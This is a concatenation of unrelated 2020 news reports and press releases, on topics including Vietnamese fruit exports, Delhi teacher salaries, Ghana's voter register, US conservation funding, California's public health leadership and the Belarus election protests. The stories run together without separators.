71% and watermelon 38.5%. During this years strong litchi season in some Northern provinces, Bac Giang gained a sharp increase in output and revenue compared to the same period last year. Accordingly, revenue from Thieu litchi in the locality reached over VND5.1 trillion, up 107.7%. Average lichi price was VND31,200 per kilogram. The major export markets of Vietnamese litchis are China, Japan, the US, the EU, Singapore, the Republic of Korea, Thailand, Australia and Canada. A few weeks earlier, dozens of tonnes of Vietnamese longans have been exported to Australia and distributed in the states of South Australia and Western Australia. The most recent was the shipment of 7.5 tonnes of longans from the Mekong Delta provinces which has arrived in Australia. In 2019, longan became the fourth Vietnamese fruit to gain permission to enter the Australian market, after litchi, mango and dragon fruit. According to the ministry, import value of fruit and vegetables over the past 7 months reached USD708 million, a year-on-year decrease of 37.7%. The US, China and Australia were the three biggest importers of Vietnamese fruits and vegetables./. The was informed by the Delhi government that it has released Rs 98.35 crore to North Delhi Municipal Corporation (NrDMC) for paying salaries to 9,000 teachers, engaged by the civic body, for July and August. The Delhi government also said it has permitted the NrDMC to utilise the unspent balance of Rs 1,807.10 lakh of previous year for the purpose of paying salaries of the A bench of Justices Hima Kohli and Subramonium Prasad was hearing a suo motu PIL initiated by the high court with regard to the disbursement of unpaid salaries of employed in schools run by the NrDMC. The high court had initiated the PIL in June after hearing the petition filed on behalf of NrDMC by Akhil Dilli Prathmik Shikshak Sangh, seeking direction to the authorities to pay the salaries which were due since March, when the nationwide lockdown was imposed. As Rs 98.35 crore has been released by the Delhi government in favour of NrDMC under the scheme of Primary Education, the civic body shall ensure that salary dues of the teachers from May onwards shall be cleared at the earliest, the bench said. Besides the Grant-in-Aid received from the Delhi Government, NrDMC shall also chip in by making funds available for paying the salaries of teachers teaching in schools being run by it, the bench said and directed the civic authority to file a fresh status report within two weeks. The court listed the matter for further hearing on September 1. The court was earlier informed by the NrDMC that it had paid salaries to all 9,000 teachers engaged by the civic body till March and 5,406 teachers, who are put on COVID-19 duty, have been given their dues for April. The NrDMC had blamed the Delhi government for not releasing Grant-In-Aid to the civic body due to which it is unable to pay the salaries of its employees. The Delhi government had said that the Grant-In-Aid payable by it to the NrDMC for release of salaries to its teachers was Rs 147 crore for the first quarter, April to June, and it has been released in three monthly tranches. While initiating the PIL on June 26, the bench had remarked that teachers deployed on COVID-19 duty can be equated to corona warriors and was displeased that their salaries have not been paid since March. The bench, on June 18, had directed the NrDMC to pay arrears of salaries within a week, saying the teachers cannot be made to run from pillar to post for their lawful dues. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) 11.08.2020 LISTEN The Founder of the All People's Congress (APC), Hassan Ayariga has questioned the credibility of the newly compiled voters register even before the register is validated. The Electoral Commission (EC) completed the voter registration on Sunday with the challenge and de-duplication processes still ongoing. But the APC Founder, Mr. Ayariga who is the sole contender for the party's flagbearer race says the eligibility proof which underpinned the just-ended registration undermined the very principle for the push to have a new register. I believe that the old register is more credible than the one that we are compiling. With the new register, the EC sent a new C.I. to Parliament to allow the EC to use the Ghana card, passport and then the vouching procedure to compile the register. As a Ghanaian living abroad, I know many people with Ghana passport but they are not Ghanaians. So where is the credibility? I know people with the Ghana card who are also not Ghanaians. Also, to vouch for someone, you dont need any legal document to do that. So anybody like a minor can walk in with two people and say he is 18 years because you cannot challenge it. I have seen it in many constituencies where foreigners and people who are less than 18 were being vouched for, he added. The Public Election (Amendment) regulation, 2020 (C.I. 126) amended C.I 91 changed the current identification requirements for registering to vote. Aside from the National Identification Card (Ghana Card) or the Ghana passport being acceptable documents for registering onto the voters' register, two persons who have already been captured on the new register can vouch for others to register. The registration exercise was also conducted after the Supreme Court cleared the Electoral Commission to go ahead and compile a new voters' register for the 2020 general elections. This was after the seven-member panel ruled that the existing voter ID card and birth certificates cannot be used as proof of identity to register. Hassan Ayariga is one of the conveners of the Inter-Party Resistance Against the New Voters' Register, the group that opposed the compilation of the new electoral roll. He has in the past described the voter registration exercise as a fanfare that cannot guarantee a credible voter register for the upcoming general elections. ---citinewsroom The critical role of outdoor spaces and nature has been highlighted in recent months, underscoring the need to conserve, maintain and improve access to these places. Whether helping us stay healthy during a pandemic, or providing employment during an economic crisis, natural areas have been there to make it possible. Looking ahead, protecting important natural spaces and investing in their care will help create jobs, rebuild local economies and expand access to the outdoors. Congress has gotten the message. In a giant step forward for conserving Americas natural landscapes, the U.S. House and Senate approved the Great American Outdoors Act. The bill combines two conservation proposals that each have strong, bipartisan support fully funding the Land and Water Conservation Fund and making major investments to care for our national parks and other public lands. These investments are critical to reigniting local economies across the nation, creating jobs and helping small businesses get back on their feet. It will support and stimulate the outdoor recreation industry that generates more than 5.2 million American jobs and contributes $778 billion in national economic output each year. Iowas own Sen. Charles Grassley, Sen. Joni Ernst, Rep. Abby Finkenauer, Rep. Cindy Axne and Rep. Dave Loebsack supported the bill. President Trump has also pledged his support. The investments in this bill are not just investments in conservation, but in people both their access to nature and their jobs and livelihoods that often depend on it. The first part of the Great American Outdoors Act would provide full and permanent funding of $900 million each year for LWCF - the amount it is authorized to receive from offshore oil and gas revenues, not tax dollars. Research on the impact of the LWCF shows that $1 spent generates $4 in economic value from natural resource goods and services alone, and that every $1 million invested in LWCF could support up to 30 jobs. In Iowa, LWCF dollars have already been used to fund the Upper Mississippi River National Wildlife Refuge, the Neal Smith National Wildlife Refuge and the Forest Legacy Project Maquoketa Caves. The second part of the bill would invest $1.9 billion annually for the next five years to help address a massive backlog of unmet maintenance needs at national parks and other public lands. The National Park Service alone reports over 325 million visits each year, bringing opportunities for safe places to exercise, rejuvenate and improve our well-being. And the economic benefits from those visits support local communities. Visitor spending at stores, hotels, gas stations and restaurants supports nearly 330,000 annual jobs and over $40 billion in total national economic output. All told, the Great American Outdoors Act would improve access to nature in places both close to home and worth traveling to when it is safe to do so all while being a part of the solution for some of our economic, health and societal challenges. Thank you to our congressional delegation who supported the Great American Outdoors Act. It is refreshing to see an issue that can receive bipartisan support. The Nature Conservancy is proud to have played a role in the completion of this vital legislation. Amber Markham is director of external affairs for The Nature Conservancy in Iowa. Editor's note: Tuesday Topic is a weekly Opinion page feature. Each Tuesday in this space, local, regional and state writers will discuss issues in the news. If you have an idea for a Tuesday Topic, please contact Editorial Page Editor Michael Gors at 712-293-4223 or mike.gors@lee.net. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The Independent Education Union is calling on the government to recommend year 11 and 12 students wear masks at school, saying older teens behaved like adults yet were unable to socially distance in class. Year 12 student Vanessa Fu wears a mask to school every day. But principals say the recommendation would be difficult to enforce, while a leading epidemiologist said NSW did not have enough COVID-19 cases for the benefits of masks in schools to outweigh the downsides, such as interfering with students' ability to hear and speak. The call from the union's NSW branch came as an outbreak of coronavirus at Tangara School for Girls, an independent Catholic school in Cherrybrook, grew to 17 cases involving senior students and their close contacts. In schools across Sydney, some students are beginning to wear masks voluntarily. Vanessa Fu, who attends a school in Strathfield, tries to wear one all day. "My skin gets irritated due to sensitivity," she said. "With winter, though it isnt hot, the heaters in the classroom are quite stuffy so its hard to breathe. An unidentified plane bombed a forested area on the border killing eight Taliban. The strike follows a clash that left two Tajiks dead. Both Russia and Tajikistan have denied any involvement. Although clashes are rate on the Afghan-Tajik border, the security situation has worsened with dozens of checkpoints attacked and a dozen police officers killed over the past month Kabul (AsiaNews/Agencies) The Tajik-Afghan border had become a battleground. An unknown aircraft, possibly Russian or Tajik, carried out an air strike in Afghanistans Darqad District, Takbar Province, killing eight Taliban and wounding another six, Afghan officials said. This follows an incident on Sunday in which at least two Tajik border guards were allegedly killed by the Taliban trying to smuggle drugs into Tajikistan. Zabihullah Mujahid, a Taliban spokesman, confirmed the attack, saying that an aircraft bombed a forested area used by smugglers who had clashed with Tajik forest guards. However, both Russia and Tajikistan have denied any military involvement in Afghanistan. We do not have the right to bomb the territory of another state. If such necessity arises, the staff of the Collective Security Treaty Organisation will be convened at first to consider an air strike, Tajikistans National Security Committee said in a statement. On the other hand, Tajik authorities noted that a car carrying three Tajik citizens was attacked and two killed. Unlike the Afghan-Pakistan border, clashes have been rare along Afghanistan's 1,400-kilometer border with Tajikistan. However, security in some Afghan border provinces has deteriorated over the past few months and regular clashes have broken out between Afghan security forces and militant groups, including the Taliban. The Taliban have carried out dozens of attacks against check posts in recent weeks in the concerned province. Earlier this month reports indicated that the Taliban had killed at least 12 border police officers in an attack on a border town in the Dasht-e-Qala District, Takhar Province. This is not happening in a vacuum. In recent months, Islamic extremists have become more active in the region. Likewise, after its defeat in Syria and Iraq, the Islamic State group appears to be regrouping in Central Asia. Police are on the hunt for a man after a disturbing "up-skirting" incident in a public bathroom last month in Melbourne's north. Sex offence detectives from Fawkner have been told a 20-year-old woman was inside a toilet cubicle at a shopping centre on Craigieburn Road about 7.30pm on July 22, when she saw a man's tradie boots in the cubicle next to hers. Fawkner Sexual Offences and Child Abuse Investigation Team detectives are hoping to identify a man following an up-skirting incident in Craigieburn last month. Credit:Victoria Police "The woman then looked up and observed an unknown man filming her on his mobile phone from above," a police spokeswoman said. The frightened woman then screamed and the man quickly fled, driving away in a dark-coloured 2002-2004 Holden Commodore VY, police say. Source: Xinhua| 2020-08-12 02:50:06|Editor: huaxia Video Player Close TEHRAN, Aug. 11 (Xinhua) -- Iran's health minister proposed on Tuesday to extend the World Health Organization (WHO)'s Eastern Mediterranean cooperation program against COVID-19 to more countries in West Asia. Minister of Health and Medical Education Saeed Namaki made the proposal in an online meeting with the WHO's Eastern Mediterranean Regional Director Ahmed Al-Mandhari, and the health ministers of the Eastern Mediterranean region's countries, on the subject of the region's response to the coronavirus pandemic. "The program under which Iran, Iraq, Pakistan and Afghanistan are cooperating under the WHO's supervision should be extended to different countries in the region," Namaki was quoted as saying by the official IRNA news agency. He suggested the WHO should "improve its presence by reinforcing and creating managerial capacity to support member states." The framework of Iran's proposal has three parts, the first being increasing awareness about the existing risk and the need for public cooperation to prevent and control the infection, the Iranian minister explained. The second and third are providing universal coverage for basic care related to COVID-19, and the respect of the countries' national sovereignty and security concerns, Namaki added. In a mid-July assessment, Al-Mandhari warned the situation in the region remained "alarming" with COVID-19 cases and deaths increasing at the time. As of Aug. 8, the WHO had reported 1,632,112 total cases, 43,025 deaths, and 1,367,421 recovered patients of COVID-19 in the Eastern Mediterranean region. Enditem For 17 years, Reena Lahot has worked as an employee at one of the hostels of Delhi University. After nearly two decades of service, she had risen in her position to work as a housekeeper, drawing a salary of about Rs 18,000. With an old mother at home and no other family, Reema is her elderly mother's only breadwinner. Until now. On August 3, she and fifteen other employees of Delhi University's Ambedkar Ganguly Student's House for Women were suddenly handed their termination letters. Some of the workers such as Reema and two others who not only worked on campus but also lived there in flats that the hostel and college authorities allotted to them, were left jobless as well as homeless. "I have no other home or a place that I can move to with my mother. And now with coronavirus, how are we supposed to find lodging and get new jobs?" a concerned Reema tells News18. The coronavirus pandemic has caused unimaginable job loss across India and the world. And one of the worst-hit group of workers among them has been staff and safai karamcharis (sanitation workers) at educational institutions. Forced shut due to the pandemic and online education becoming the new norm, several educational institutions have started terminating its non-permanent staff. That is where the crux of the matter was, Reema felt. Prakash was one of the employees who lost his job in August. "We have for years been seeking permanent employment. But the hostel employs workers on a contractual basis, which means they can fire us anytime," Reema said. DU students and residents of the Ambedkar Ganguly Student's House for Women have released a presser highlighting the inappropriate termination of 16 employees including bus drivers, cooks, cleaners, safai karamcharis, and guards that worked in the hostel premises. The termination came after a decision taken by the hostel's managing committee, even as educational institutions remain closed due to the coronavirus lockdown. News18 tried to reach out to the hostel's Provost as well as Warden K Ratnabali for comment over phone, text, and WhatsApp but got no response. According to a student resident of the hostel who has not been named to protect her identity, the hostel management including the warden have repeatedly failed to address the demands and needs of students. Earlier in February, students of the hostel had called for the resignation of the warden after she made derogatory and sexist comments regarding a student's performance on Annual Hostel Night on February 23. Apart from her tussle with the students, hostel employees including safai karamcharis such as Bala allege that warden along with other hostel management authorities also practiced casteism. 42-year-old Bala who was among the 16 to lose their jobs, said that safai karamcharis often got no respect from authorities and were treated with no dignity. "Despite the pandemic, we were not given any leaves. I live in Sangam Vihar and had to commute daily on foot to reach the hostel," Bala told News18. She alleges that sanitation workers at the hostel were not given any masks or gloves, neither was any arrangement for their conveyance made. "Now they have decided to fire us on a month's notice. I have three children and a Rs 5 lakh loan. My husband is out of work. How will I make ends meet?" a tearful Bala asked. She and other safai karamcharis who have been terminated approached the authorities to negotiate their terms of employment and even offered to work at a lower salary until students started to come back. But to no avail. According to Jaiprakash, who worked as a security guard at the hostel, the issue was not as simple. "Contractual workers like us are usually paid from the money the hostel earns in the form of students' fees. Now that there are no students, the university needs to step up and provide us with an alternate," Jayprakash felt. READ: 'Our Life Has No Value?' JNU Sanitation Workers Clean Hostels With No Pay or Protection AGSHW workers were not the only ones affected. Workers at the North Eastern Student's House for Women, another women's hostel under DU, announced salary cuts for employees with many not receiving any wages at all. Earlier, sanitation workers in Jawaharlal Nehru University had protested against the non-payment of wages despite being made to work. With no job or prospects, the terminated staff of the Ambedkar Ganguly Student's House for Women hostel sit outside the hostel management's office, hoping for redressal. "I have spent half my life working here," Singh, another security guard, said with folded hands. "After over a decade of working here, I deserve more than a letter thanking me for my services," he said. DENVER, Aug. 11, 2020 /PRNewswire/ -- Antero Resources Corporation (NYSE: AR) ("Antero Resources" or the "Company") today announced a volumetric production payment ("VPP") transaction with an affiliate of J.P. Morgan for cash proceeds of $220 million. The Company also announced today in a separate press release the commencement of cash tender offers for its 2021, 2022 and 2023 senior notes for $525 million. Pro forma for application of the VPP proceeds to repay outstanding revolver borrowings, but prior to the completion of the tender offers, the Company had approximately $715 million drawn on its revolving credit facility and $1.2 billion in liquidity as of June 30, 2020. Release highlights: Completed VPP sale to an affiliate of J.P. Morgan for proceeds of $220 million VPP is comprised of dry gas producing properties in West Virginia Effective date of July 1, 2020 with seven-year term ending June 30, 2027 VPP net production is 60 MMcf/d for second half of 2020, 75 MMcf/d in 2021, then declines to 40 MMcf/d by the first half of 2027 prior to termination Asset sale proceeds of $751 million have achieved the low end of $750 million to $1 billion target range for 2020 Announced the commencement of cash tender offers to repurchase any and all of its 2021 senior notes and a portion of its 2022 and 2023 senior notes for up to $525 million Pro forma for the VPP but prior to the funding of the tender offers, the Company had $1.2 billion of liquidity as of June 30, 2020 Borrowing base under the credit facility remains unchanged at $2.85 billion following the VPP transaction Paul Rady, Chairman and Chief Executive Officer of Antero Resources commented, "The VPP transaction brings asset sales to date to the low end of the asset sale target range announced in December of 2019. The ability to monetize $751 million of assets in such a challenging market is a testament to the quality of Antero's substantial producing properties and acreage." Glen Warren, CFO and President of Antero Resources said, "Pro forma for the VPP sale and assuming $525 million of bonds are tendered and repurchased, Antero will have reduced near term bond maturities by over $1.4 billion since the fourth quarter of 2019. Future contingent payments expected to be received from our previously announced ORRI counterparty and expected free cash flow during the second half of 2020 will be used to further reduce debt. We will continue to pursue additional asset sale opportunities and plan to use any future proceeds for debt retirement." Presentation The Company posted a new strategic update presentation on its website at www.anteroresources.com . Information on the Company's website does not constitute a portion of, and is not incorporated by reference into, this press release. Antero Resources is an independent natural gas and oil company engaged in the acquisition, development and production of unconventional liquids-rich natural gas properties located in the Appalachian Basin in West Virginia and Ohio. The Company's website is located at www.anteroresources.com . This release includes "forward-looking statements." Such forward-looking statements are subject to a number of risks and uncertainties, many of which are not under Antero Resources' control. All statements, except for statements of historical fact, made in this release regarding activities, events or developments Antero Resources expects, believes or anticipates will or may occur in the future, such as those regarding expected results, future production targets, future earnings, leverage targets and debt repayment, asset monetization opportunities and pricing, future financial position, , future receipt of contingent consideration and the results of the tender offers are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. All forward-looking statements speak only as of the date of this release. Although Antero Resources believes that the plans, intentions and expectations reflected in or suggested by the forward-looking statements are reasonable, there is no assurance that these plans, intentions or expectations will be achieved. Therefore, actual outcomes and results could materially differ from what is expressed, implied or forecast in such statements. Except as required by law, Antero Resources expressly disclaims any obligation to and does not intend to publicly update or revise any forward-looking statements. Antero Resources cautions you that these forward-looking statements are subject to all of the risks and uncertainties, incident to the exploration for and development, production, gathering and sale of natural gas, NGLs and oil most of which are difficult to predict and many of which are beyond the Antero Resources' control. These risks include, but are not limited to, commodity price volatility, inflation, lack of availability of drilling and production equipment and services, environmental risks, drilling and other operating risks, regulatory changes, the uncertainty inherent in estimating natural gas and oil reserves and in projecting future rates of production, cash flow and access to capital, the timing of development expenditures, impacts of world health event, including the COVID-19 pandemic, potential shut-ins of production due to lack of downstream demand or storage capacity and the other risks described under the heading "Item 1A. Risk Factors" in Antero Resources' Annual Report on Form 10-K for the year ended December 31, 2019 and in its Quarterly Report on Form 10-Q for the quarter ended June 30, 2020. SOURCE Antero Resources Corporation Related Links http://www.anteroresources.com During a reception in Hanoi on August 11 for Samsung Vietnam General Director Choi Joo Ho, PM Phuc lauded the group for launching the construction of a large research and development centre in Hanoi. He was delighted to know that despite COVID-19, Samsung Vietnam has still ensured production and trade and maintained its export targets. PM suggested Samsung Vietnam continue its COVID-19 prevention and control measures in order to ensure stable production. The PM proposed that Samsung continue doing long-term business in Vietnam, helping to turn Vietnam into its production hub, develop supporting industries and train high-quality workforce in the country. Choi, for his part, thanked the Vietnamese Government, the PM, ministries, agencies and localities for their support to Samsung over the past years. Having presented the company's long-term business plan in Vietnam, he expressed his wish to continue receiving further support and pledged to ensure production, business and export targets, thus helping the Vietnamese Government achieve the dual goal of preventing and controlling COVID-19, and recovering the economy. Seasoned scientific leader to head the contract research organization's bioanalytical operations in Lincoln, NE. LINCOLN, Nebraska, Aug. 11, 2020 /PRNewswire/ -- Celerion, global leader in early clinical research services with facilities across North America, Europe and Asia has recently appointed Mr. Timothy Sangster to the position of Executive Director at its Lincoln, NE facility. Tim will oversee Celerion's state-of the-art automated facilities, which are among the most respected laboratories in the industry. With over 50 years of expertise, the laboratory develops and validates small and large molecule bioassays, analyzing samples ranging from discovery through late stage clinical development. In this challenging time, the laboratory has developed a large offering of Covid-19 assays to support ongoing vaccine trials with strong immunogenicity testing and safety testing for patients and volunteers. Mr. Sangster was most recently the European Head of Chromatographic Bioanalysis for Charles River Laboratories, a nonclinical contract research organization (CRO) based in the United Kingdom with facilities in sixteen countries. Additionally, Tim has prior experience from Huntingdon Life Sciences, a British nonclinical CRO, and pharma company Astra Zeneca. "We think Tim Sangster's vast experience successfully running major bioanalytical teams from a CRO environment, combined with the importance we both attach to client auditing and meeting client deadlines make him a perfect fit for Celerion," says Ray Farmen, Ph.D., Vice-President of Global Bioanalytical Services, "and we value the insight he brings in a rapidly evolving marketplace." He points out that Celerion has, for the past five years running, been recognized as a leader in early stage research development services by Life Science Leader and Industry Standard Research, respected observers of the pharmaceutical industry. "Our 2020 CRO Leadership Awards note Celerion's excellence across five key categories including Capabilities, Compatibility, Expertise, Quality and Reliability. We are understandably proud of this continued history of achievement and believe Tim Sangster's appointment will further it." "I am excited to be entrusted with such a prominent role in Celerion's US bioanalytical operations-especially in an era when immunological research has captured world attention," says Sangster. About Celerion A recognized global leader in early clinical research services, Celerion "translates science into medicine" through scientific excellence, medical expertise and broad clinical operations experience. For fifty years Celerion has been providing industry leadership in the execution of safety/tolerability, pharmacokinetic and pharmacodynamics studies in highly controlled clinical environments such as first-in-human dose escalation, drug-drug interaction, cardiac safety, bioequivalence and bioavailability, metabolism and excretion, as well as pharmacokinetic evaluations in patients with impaired renal or hepatic function. Celerion enhances this with superior data management, biostatistics, clinical monitoring and bioanalytical services. Our enduring mission is to help clients get their drugs to market in a timely fashion that benefits people in need the world over. For more information, please visit www.celerion.com. Lorraine Rusch lorraine.rusch@celerion.com Logo - https://mma.prnewswire.com/media/414617/Celerion_Logo.jpg The abrupt departure of Californias top public health officer Sunday came as a shock to many local leaders at the front lines of the states pandemic response, who described Dr. Sonia Angell as helpful and hands-on but still somewhat of an enigma after less than a year on the job. Angell resigned a few days after officials revealed a critical failure in the state computer system that collects infectious disease data, which resulted in an undercounting of new coronavirus cases since July 25. Gov. Gavin Newsom had touted a sharp drop in new cases on Aug. 3, saying he was optimistic that the state was starting to pull out of a two-month surge. State officials said he learned only that evening about the data-collection glitch. On Monday, Newsom refused to say outright that Angells exit was due to the data error, but if its not obvious, I encourage you to consider the fact that we accepted her resignation, he said in a news briefing. Were all accountable in our respective roles for what happens underneath us. I dont want to air anymore than that, Newsom said. We accept the resignation if we feel its appropriate. And I accepted that resignation. The pandemic landed in Angells lap just three months into her tenure as director and state health officer with the California Department of Public Health, to which she was appointed by Newsom after working most of her career on the East Coast. Angell, the first Latina in the position, was one of a handful of public faces in the state pandemic response, though she rarely spoke at Newsoms briefings and had not held any briefings of her own. Public health experts said Monday that losing the state health officer suddenly and unexpectedly is concerning, especially at a key point in the coronavirus crisis as California tries to wrestle a fresh outbreak back under control. California has about 570,000 confirmed cases more than any other state and has struggled to strike a balance between reopening the economy and preventing the virus from spreading. Obviously, its always better to have stability. You develop relationships with people, and its disruptive to lose that working relationship, said Dr. Bela Matyas, the Solano County health officer. But its also a situation where any one person isnt playing a more critical role than others. So from that point, its not that disruptive. It really is a team on the state level. Matyas and other public health experts said Monday they were surprised by Angells departure and had not been told why she was leaving. He assumed it was related to the problems revealed last week in the states data-collection system, known as CalREDIE. The state misplaced about 300,000 lab results over about a 10-day period, though it was not immediately clear how many of those were coronavirus results and how many were positive cases. The nearly decade-old data system was designed as a clearinghouse for all infectious diseases. Before COVID-19, it typically received about 200 reports a day. State officials said it was not holding up under the burden of a pandemic and tens of thousands of daily reports. Still, state officials clearly had been frustrated to learn of the computer failure several days after the Public Health Department became aware of the problem. On Friday, Dr. Mark Ghaly, head of the California Health and Human Services Agency that oversees the Public Health Department, said he would hold accountable those responsible for the errors. In an email to state Public Health Department staff on Sunday, Angell gave no hint as to why she resigned. It is with deep appreciation and respect for all of this work that I share with you my own plans to depart from my position, effective today, Angell wrote. I remain consistently impressed and humbled by the expertise, commitment, passion and kindness demonstrated by all of you daily. We have led with science and data, and with equity at the core of our intentions. Both Newsom and Ghaly issued statements on Sunday thanking Angell for her service. Newsom said he had hired Angell because of her longtime passion for addressing race and ethnic health disparities, a topic that she had taken up several times during the coronavirus pandemic. Dr. George Rutherford, a UCSF infectious disease expert who served as the state health officer from 1993-95 said he was frustrated that Newsom and other California leaders werent more forthcoming in explaining Angells departure. Scott Strazzante / The Chronicle I find it vaguely unsatisfying that there wasnt a reason given, right in the middle of this pandemic, he said. Its totally disruptive. Everyones in temporary positions now. And somebodys going to end up taking on three jobs instead of two. Angell was hired at a salary of about $275,000. She filled two roles with the state: director of the California Department of Public Health, managing the distribution of federal funding to county health agencies as well as data collection, including birth and death records, and other government tasks; and state health officer, the top medical doctor who leads epidemiological investigations and provides public health guidance. Rutherford and others said they were encouraged that Angell would be replaced, at least temporarily, by two officials with extensive experience in California public health. Dr. Erica Pan, the former Alameda County health officer, is now acting state health officer. Sandra Shewry, a vice president with the California Health Care Foundation who ran the state department that manages Medi-Cal, is acting director of the California Department of Public Health. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Pan is incredibly competent, very smart, and has excellent communication skills. She would be at the top of my list to hold this position, said John Swartzberg, an infectious disease expert at UC Berkeley who has known Pan for years. Rutherford and other longtime public health experts in California said they hadnt gotten to know Angell well in her relatively short tenure. She served two stints with the New York City Public Health Department 2004-11 and 2014-19 and the three years in between with the Centers for Disease Control and Prevention. But aside from earning her medical degree at UCSF, she did not have any roots in California and was not widely known in the states close-knit public health community. Rutherford said that when she was appointed to the California job in October he sent her a note as a former health officer inviting her to lunch, but never got a response. Dr. Chris Farnitano, the Contra Costa County health officer, said he and his peers spoke with Angell on conference calls several times a week during the pandemic. He said she was attentive and interested in their feedback, and she was also helpful when I reached out to her individually. He and other Bay Area health officers said they were disappointed that she was leaving, but not overly concerned that her loss would create a void in the states pandemic response. Realistically, who sits at the helm of CDPH isnt going to change how the pandemic rolls on, said Solano Countys Matyas. Dr. Stephen Shortell, an infectious disease expert at UC Berkeley, said bluntly, I dont think this will have much effect at all. Thats not meant as a criticism of (Angell), its just the fact that theres too much of an organized response. And you have very qualified people stepping in, he said. We wont miss a blip as far as I can tell. Erin Allday is a San Francisco Chronicle staff writer. Email: eallday@sfchronicle.com Twitter: @erinallday FLINT, MI -- Cedric Shields would give away a free chicken wing to every car that came by when he started selling his barbecue in 1999. When he started out, the Beecher High School graduate and lifelong Flint resident would cook on a small barrel grill outside of a drive-through store at the corner of Welch Boulevard and Chevrolet Avenue in Flint. Now, Shields Tender Bonez BBQ food truck, located at 2638 Flushing Road in front of K & J Market, sells 200 pounds of meat every day. The truck is open from 2 p.m. to 9 p.m. Tuesday through Saturday. Shields said he first stared barbecuing when he was a kid living in the Sunridge Apartments in Flint. He would barbecue chicken every day. The guy below me was like, Bro is your stove broke? Why are you barbecuing every day? And I was like, Bro, Im just trying to figure this ... out, he said. From his first location, Shields moved to a spot on Clio road at a liquor store across from Auto Zone. His father eventually started a restaurant called O Taste and See at a location on Bristol Road where Shields was the cook. Shields then started his own branch of the restaurant on Welch before moving to the current food truck location on Flushing Road. While his father supported his love for barbecue, Shields said he got his family into the business. I never saw my dad barbecue a day in my life, he said. But he saw my talent and said, OK, lets find you a place to do this. Tender Bones also caters and participates in festivals. The food truck won best barbecue at Flints 2019 Downtown Throwdown. It also won first-place ribs at the 2019 Renaissance Festival in Oakland County, first place peoples choice at the 2015 Michigan Chicken Wing Festival and third place at Brightons Smokin Jazz & Barbecue Blues Festival. Everything on the menu is worth trying, Shields said, but if people have to pick one thing, they have to try the ribs. Mason jar lemonade from Southern Drinks & Eats, owned by Michael Taylor, is also a popular item sold out of the truck. Shields said his barbecue style is low and slow. He said he also likes to mix different kinds of wood to create a unique smoked flavor. His pit is 17 years old and the flavor meat gets from it cant be replicated, he said. Since he was a kid, Shields said he never lost his love for barbecue. He gets up every morning around 6 a.m. to start cooking and has never stopped loving what he does. If you love it, its easy, he said. Now, he said he gets to share his passion and business with his family. Sheilds said his 8-year-old daughter is the boss. His son, Cedric Shields Jr., 18, worked the pit Thursday, Aug. 6. His girlfriend and 20-year-old son also help with the food truck. Tender Bonez is located at 2638 Flushing Road in front of K & J Market. Its number is 810-525-5625 and its social media page can be found here. Elizabeth Conley/Houston Chronicle Arandas Bakery is helping out its customers during coronavirus with hand sanitizer and a comforting treat. The Mexican-style bakery is giving away one bag of pan dulce, a Mexican sweet bread, and a bottle of hand sanitizer, no purchase necessary. A high yielding watermelon seed known as ELGHALI has been introduced to farmers to help boost their incomes and ensure nutrition for consumers. ELGHALI is a hybrid watermelon with a beautiful round oval shape, with fruit weight of more than 12 kilogrammes, a large fruit size, crisp, very sweet, tasty, and highly preferred by farmers. Syngenta Vegetable Seeds, a leading vegetable company, took farmers and other stakeholders to a field of ELGHALI at Walewale in the West Mamprusi Municipality of the North East Region to introduce them to the seed. The field day brought together 70 farmers, input dealers, marketers, extension officers, processors and researchers to evaluate the performance of the watermelon variety. Mr Evans Sackey, Technical and Sales Representative of Syngenta Vegetable Seeds, Ghana, who spoke about the variety during the field visit, said it was a quality seed that could last up to two weeks after harvest. Mr Sackey said this would help reduce post-harvest losses, which has been a major challenge to watermelon farmers. Syngenta Vegetable Seeds provides good quality seeds of okra, onions, cabbage, tomatoes and watermelon and many other vegetable seeds to farmers in the country. Some farmers, who visited the field, were hopeful that they could make more money per acre of land, because of the size of the watermelon. Others said they had been passing-by the field and they noticed that while their varieties were getting rotten, those on the field seemed to last longer so they believed they could still sell even when market was not good because it could last more than a week without going bad. Farmers in the area predominantly go into dry season farming of watermelon and supply consumers through fruits and vegetables sellers in most areas in northern Ghana and export to the South. The farmers, however, are confronted with annual post-harvest challenges, especially quantities of watermelon getting rotten on farms and on sales point, hence the introduction of long spun variety of the fruit to Farmers in the area. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video MINSK, Belarus - The top opposition candidate in Belarus' presidential election left for Lithuania Tuesday but anti-government demonstrators still turned out for a third straight night to protest the vote results, despite a massive police crackdown that prompted a warning of possible European Union sanctions. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Sviatlana Tsikhanouskaya, candidate for the presidential elections, speaks at a news conference after the Belarusian presidential election in Minsk, Belarus, Monday, Aug. 10, 2020.The country's central election commission said that with all ballots counted, Lukashenko, who has led Belarus for 26 years, took 80.23% of the vote and his main opposition challenger, Sviatlana Tsikhanouskaya, had only 9.9%. "We don't recognize these results," Tsikhanouskaya, a former English teacher and political novice, told reporters Monday. (AP Photo/Sergei Grits) MINSK, Belarus - The top opposition candidate in Belarus' presidential election left for Lithuania Tuesday but anti-government demonstrators still turned out for a third straight night to protest the vote results, despite a massive police crackdown that prompted a warning of possible European Union sanctions. Hundreds of people took to the streets of Minsk and several other cities on Tuesday evening. Clashes between the protesters and police using stun grenades and rubber bullets to disperse the crowds continued well into the night. Earlier on Tuesday Sviatlana Tsikhanouskaya, 37, a former English teacher who entered the race after her husband's jailing in Belarus, apologized to her backers in a video statement and said it was her own choice to leave the country. It was a very hard decision to make, Tsikhanouskaya said, looking haggard and distressed. I know that many of you will understand me, many others will condemn me and some will even hate me. But God forbid you ever face the choice that I faced. In another video statement released later Tuesday, she urged her supporters to respect the law and to avoid clashes with police. Police block a square during a mass protest following the presidential election in Minsk, Belarus, late Monday, Aug. 10, 2020. Thousands of people have protested in Belarus for a second straight night after official results from weekend elections gave an overwhelming victory to authoritarian President Alexander Lukashenko, extending his 26-year rule. A heavy police contingent blocked central squares and avenues, moving quickly to disperse protesters and detained dozens. (AP Photo) The statements marked an 